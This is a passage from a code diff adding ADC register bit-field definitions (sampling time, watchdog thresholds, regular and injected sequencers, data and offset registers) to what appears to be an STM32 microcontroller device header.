ADC_SMPR2_SMP12_Pos) /*!< 0x00000040 */ +#define ADC_SMPR2_SMP12_1 (0x2UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000080 */ +#define ADC_SMPR2_SMP12_2 (0x4UL << ADC_SMPR2_SMP12_Pos) /*!< 0x00000100 */ + +#define ADC_SMPR2_SMP13_Pos (9U) +#define ADC_SMPR2_SMP13_Msk (0x7UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000E00 */ +#define ADC_SMPR2_SMP13 ADC_SMPR2_SMP13_Msk /*!< ADC channel 13 sampling time selection */ +#define ADC_SMPR2_SMP13_0 (0x1UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000200 */ +#define ADC_SMPR2_SMP13_1 (0x2UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000400 */ +#define ADC_SMPR2_SMP13_2 (0x4UL << ADC_SMPR2_SMP13_Pos) /*!< 0x00000800 */ + +#define ADC_SMPR2_SMP14_Pos (12U) +#define ADC_SMPR2_SMP14_Msk (0x7UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00007000 */ +#define ADC_SMPR2_SMP14 ADC_SMPR2_SMP14_Msk /*!< ADC channel 14 sampling time selection */ +#define ADC_SMPR2_SMP14_0 (0x1UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00001000 */ +#define ADC_SMPR2_SMP14_1 (0x2UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00002000 */ +#define ADC_SMPR2_SMP14_2 (0x4UL << ADC_SMPR2_SMP14_Pos) /*!< 0x00004000 */ + +#define ADC_SMPR2_SMP15_Pos (15U) +#define ADC_SMPR2_SMP15_Msk (0x7UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00038000 */ +#define ADC_SMPR2_SMP15 ADC_SMPR2_SMP15_Msk /*!< ADC channel 15 sampling time selection */ +#define ADC_SMPR2_SMP15_0 (0x1UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00008000 */ +#define ADC_SMPR2_SMP15_1 (0x2UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00010000 */ +#define ADC_SMPR2_SMP15_2 (0x4UL << ADC_SMPR2_SMP15_Pos) /*!< 0x00020000 */ + +#define ADC_SMPR2_SMP16_Pos (18U) +#define ADC_SMPR2_SMP16_Msk (0x7UL << ADC_SMPR2_SMP16_Pos) /*!< 0x001C0000 */ +#define ADC_SMPR2_SMP16 ADC_SMPR2_SMP16_Msk /*!< ADC channel 16 sampling time selection */ +#define ADC_SMPR2_SMP16_0 (0x1UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00040000 */ +#define ADC_SMPR2_SMP16_1 (0x2UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00080000 */ +#define ADC_SMPR2_SMP16_2 (0x4UL << ADC_SMPR2_SMP16_Pos) /*!< 0x00100000 */ + +#define ADC_SMPR2_SMP17_Pos (21U) +#define ADC_SMPR2_SMP17_Msk (0x7UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00E00000 */ +#define ADC_SMPR2_SMP17 ADC_SMPR2_SMP17_Msk /*!< ADC channel 17 sampling time selection */ +#define ADC_SMPR2_SMP17_0 (0x1UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00200000 */ +#define ADC_SMPR2_SMP17_1 (0x2UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00400000 */ +#define ADC_SMPR2_SMP17_2 (0x4UL << ADC_SMPR2_SMP17_Pos) /*!< 0x00800000 */ + +#define ADC_SMPR2_SMP18_Pos (24U) +#define ADC_SMPR2_SMP18_Msk (0x7UL << ADC_SMPR2_SMP18_Pos) /*!< 0x07000000 */ +#define ADC_SMPR2_SMP18 ADC_SMPR2_SMP18_Msk /*!< ADC channel 18 sampling time selection */ +#define ADC_SMPR2_SMP18_0 (0x1UL << ADC_SMPR2_SMP18_Pos) /*!< 0x01000000 */ +#define ADC_SMPR2_SMP18_1 (0x2UL << ADC_SMPR2_SMP18_Pos) /*!< 0x02000000 */ +#define ADC_SMPR2_SMP18_2 (0x4UL << ADC_SMPR2_SMP18_Pos) /*!< 0x04000000 */ + +/******************** Bit definition for ADC_TR1 register *******************/ +#define ADC_TR1_LT1_Pos (0U) +#define ADC_TR1_LT1_Msk (0xFFFUL << ADC_TR1_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_TR1_LT1 ADC_TR1_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ + +#define ADC_TR1_AWDFILT_Pos (12U) +#define ADC_TR1_AWDFILT_Msk (0x7UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00007000 */ +#define ADC_TR1_AWDFILT ADC_TR1_AWDFILT_Msk /*!< ADC analog watchdog filtering parameter */ +#define ADC_TR1_AWDFILT_0 (0x1UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00001000 */ +#define ADC_TR1_AWDFILT_1 (0x2UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00002000 */ +#define ADC_TR1_AWDFILT_2 (0x4UL << ADC_TR1_AWDFILT_Pos) /*!< 0x00004000 */ + +#define ADC_TR1_HT1_Pos (16U) +#define ADC_TR1_HT1_Msk (0xFFFUL << ADC_TR1_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_TR1_HT1 ADC_TR1_HT1_Msk /*!< ADC analog watchdog 1 threshold high */ + +/******************** Bit definition for ADC_TR2 register *******************/ +#define ADC_TR2_LT2_Pos (0U) +#define ADC_TR2_LT2_Msk (0xFFUL << ADC_TR2_LT2_Pos) /*!< 0x000000FF */ +#define ADC_TR2_LT2 ADC_TR2_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ + +#define ADC_TR2_HT2_Pos (16U) +#define ADC_TR2_HT2_Msk (0xFFUL << ADC_TR2_HT2_Pos) /*!< 0x00FF0000 */ +#define ADC_TR2_HT2 ADC_TR2_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ + +/******************** Bit definition for ADC_TR3 register *******************/ +#define ADC_TR3_LT3_Pos (0U) +#define ADC_TR3_LT3_Msk (0xFFUL << ADC_TR3_LT3_Pos) /*!< 0x000000FF */ +#define ADC_TR3_LT3 ADC_TR3_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ + +#define ADC_TR3_HT3_Pos (16U) +#define ADC_TR3_HT3_Msk (0xFFUL << ADC_TR3_HT3_Pos) /*!< 0x00FF0000 */ +#define ADC_TR3_HT3 ADC_TR3_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ + +/******************** Bit definition for ADC_SQR1 register ******************/ +#define ADC_SQR1_L_Pos (0U) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC group regular sequencer scan length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6U) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC group regular sequencer rank 1 */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12U) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC group regular sequencer rank 2 */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18U) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC group regular sequencer rank 3 */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL<< ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24U) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC group regular sequencer rank 4 */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ******************/ +#define ADC_SQR2_SQ5_Pos (0U) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC group regular sequencer rank 5 */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6U) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC group regular sequencer rank 6 */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12U) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC group regular sequencer rank 7 */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18U) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC group regular sequencer rank 8 */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24U) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC group regular sequencer rank 9 */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ******************/ +#define ADC_SQR3_SQ10_Pos (0U) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC group regular sequencer rank 10 */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6U) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC group regular sequencer rank 11 */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12U) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC group regular sequencer rank 12 */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18U) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC group regular sequencer rank 13 */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24U) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC group regular sequencer rank 14 */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ******************/ +#define ADC_SQR4_SQ15_Pos (0U) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC group regular sequencer rank 15 */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6U) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC group regular sequencer rank 16 */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ + +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0U) +#define ADC_DR_RDATA_Msk (0xFFFFUL << ADC_DR_RDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC group regular conversion data */ + +/******************** Bit definition for ADC_JSQR register ******************/ +#define ADC_JSQR_JL_Pos (0U) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC group injected sequencer scan length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2U) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC group injected external trigger source */ +#define ADC_JSQR_JEXTSEL_0 (0x1UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x2UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x4UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x8UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7U) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC group injected external trigger polarity */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9U) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC group injected sequencer rank 1 */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15U) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x0007C000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC group injected sequencer rank 2 */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00004000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ + +#define ADC_JSQR_JSQ3_Pos (21U) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC group injected sequencer rank 3 */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27U) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC group injected sequencer rank 4 */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ******************/ +#define ADC_OFR1_OFFSET1_Pos (0U) +#define ADC_OFR1_OFFSET1_Msk (0xFFFUL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000FFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC offset number 1 offset level */ + +#define ADC_OFR1_OFFSETPOS_Pos (24U) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_SATEN_Pos (25U) +#define ADC_OFR1_SATEN_Msk (0x1UL << ADC_OFR1_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_SATEN ADC_OFR1_SATEN_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (26U) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC offset number 1 channel selection */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR1_OFFSET1_EN_Pos (31U) +#define ADC_OFR1_OFFSET1_EN_Msk (0x1UL << ADC_OFR1_OFFSET1_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_OFFSET1_EN ADC_OFR1_OFFSET1_EN_Msk /*!< ADC offset number 1 enable */ + +/******************** Bit definition for ADC_OFR2 register ******************/ +#define ADC_OFR2_OFFSET2_Pos (0U) +#define ADC_OFR2_OFFSET2_Msk (0xFFFUL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000FFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC offset number 2 offset level */ + +#define ADC_OFR2_OFFSETPOS_Pos (24U) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 2 positive */ +#define ADC_OFR2_SATEN_Pos (25U) +#define ADC_OFR2_SATEN_Msk (0x1UL << ADC_OFR2_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_SATEN ADC_OFR2_SATEN_Msk /*!< ADC offset number 2 saturation enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (26U) +#define 